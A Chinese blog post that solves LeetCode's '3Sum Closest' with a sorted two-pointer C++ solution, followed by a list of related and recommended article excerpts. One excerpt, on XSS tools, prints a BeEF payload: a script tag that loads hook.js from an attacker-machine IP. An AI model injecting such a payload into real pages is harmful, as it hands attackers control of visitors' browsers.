题目链接

3Sum Closest - LeetCode

注意点

  • 和3Sum那道题的target是0,这道题是题目给定的
  • 要先计算误差再移动指针

解法

解法一:做法类似3Sum那道题解法二,每次移动指针前先计算误差,如果误差为0,直接返回target即可。时间复杂度为O(n^2)

class Solution {
public:
int threeSumClosest(vector<int>& nums, int target) {
sort(nums.begin(),nums.end());
int n = nums.size(),mytarget,i = n-1,j,k;
int minError = INT_MAX,ans = target;
while(i >= 2)
{
mytarget = target - nums[i];
j = 0;
k = i-1;
while(j < k)
{
int temp = nums[j]+nums[k];
if(temp < mytarget)
{
if(mytarget - temp < minError)
{
ans = nums[i]+nums[j]+nums[k];
minError = mytarget - temp;
}
j++;
}
else if(temp > mytarget)
{
if(temp - mytarget < minError)
{
ans = nums[i]+nums[j]+nums[k];
minError = temp - mytarget;
}
k--;
}
else
{
return target;
}
}
i--;
while(nums[i+1]==nums[i])
{
i--;
}
}
return ans;
}
};

小结

  • 会做3Sum那道题,这题就不难

3Sum Closest - LeetCode的更多相关文章

  1. 3Sum Closest——LeetCode

    Given an array S of n integers, find three integers in S such that the sum is closest to a given num ...

  2. 3Sum Closest leetcode java

    题目: Given an array S of n integers, find three integers in S such that the sum is closest to a given ...

  3. [LeetCode][Python]16: 3Sum Closest

    # -*- coding: utf8 -*-'''__author__ = 'dabay.wang@gmail.com' 16: 3Sum Closesthttps://oj.leetcode.com ...

  4. LeetCode之“散列表”:Two Sum && 3Sum && 3Sum Closest && 4Sum

    1. Two Sum 题目链接 题目要求: Given an array of integers, find two numbers such that they add up to a specif ...

  5. LeetCode 16. 3Sum Closest(最接近的三数之和)

    LeetCode 16. 3Sum Closest(最接近的三数之和)

  6. LeetCode解题报告—— Container With Most Water & 3Sum Closest & Letter Combinations of a Phone Number

    1.  Container With Most Water Given n non-negative integers a1, a2, ..., an, where each represents a ...

  7. LeetCode:3Sum, 3Sum Closest, 4Sum

    3Sum Closest Given an array S of n integers, find three integers in S such that the sum is closest t ...

  8. 【leetcode】3Sum Closest

    3Sum Closest Given an array S of n integers, find three integers in S such that the sum is closest t ...

  9. LeetCode 15. 3Sum 16. 3Sum Closest 18. 4Sum

    n数求和,固定n-2个数,最后两个数在连续区间内一左一右根据当前求和与目标值比较移动,如果sum<target,移动较小数,否则,移动较大数 重复数处理: 使i为左至右第一个不重复数:while ...

随机推荐

  1. Spring学习(4)IOC容器配置bean:定义与实例化

    一.  IOC容器配置 1. 一些概念 (1)IOC容器: 定义:具有管理对象和管理对象之间的依赖关系的容器. 作用:应用程序无需自己创建对象,对象由IOC容器创建并组装.BeanFactory是IO ...

  2. UVa 10055

    说一下犯错的地方: 1)没有注意数据范围,题目中是The input numbers are not greater than balabalabala. 而这个32位的int类型恰好装不下2^32, ...

  3. XSS工具

    1.BEEF KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入 ...

  4. RBC:Echo设备2020年可为亚马逊贡献100亿美元收入

    BI 中文站 12 月 22 日报道 加拿大皇家银行资本市场(RBC Capital Markets)分析师马克-马哈尼(Mark Mahaney)表示,亚马逊是首批将智能音箱引进主流受众的公司之一, ...

  5. 使用Python批量修改数据库执行Sql文件

    由于上篇文章中批量修改了文件,有的时候数据库也需要批量修改一下,之前的做法是使用宝塔的phpMyAdmin导出一个已经修改好了的sql文件,然后依次去其他数据库里导入,效率不说极低,也算低了,且都是些 ...

  6. Final发布中间产物

    目录 ❶版本控制 ❷软件功能说明书 ❸WBS ❹PSP 一.版本控制 ①Git地址:https://git.coding.net/tianjiping/Android-tianjiping.git ② ...

  7. Final发布文案+美工

    团队名称:探路者 1蔺依铭:http://www.cnblogs.com/linym762/(组长) 2张恩聚:http://www.cnblogs.com/zej87/ 3米赫:http://www ...

  8. Leetcode题库——24.两两交换链表中的节点

    @author: ZZQ @software: PyCharm @file: swapPairs.py @time: 2018/10/20 19:49 说明:给定一个链表,两两交换其中相邻的节点,并返 ...

  9. opencv的安装和卸载

    安装 测试环境为centos 安装依赖 yum install cmake gcc gcc-c++ gtk2-devel gimp-develgimp-devel-tools gimp-help-br ...

  10. NET Core Mvc发布带视图文件的方法!

    添加节点:<MvcRazorCompileOnPublish>false</MvcRazorCompileOnPublish>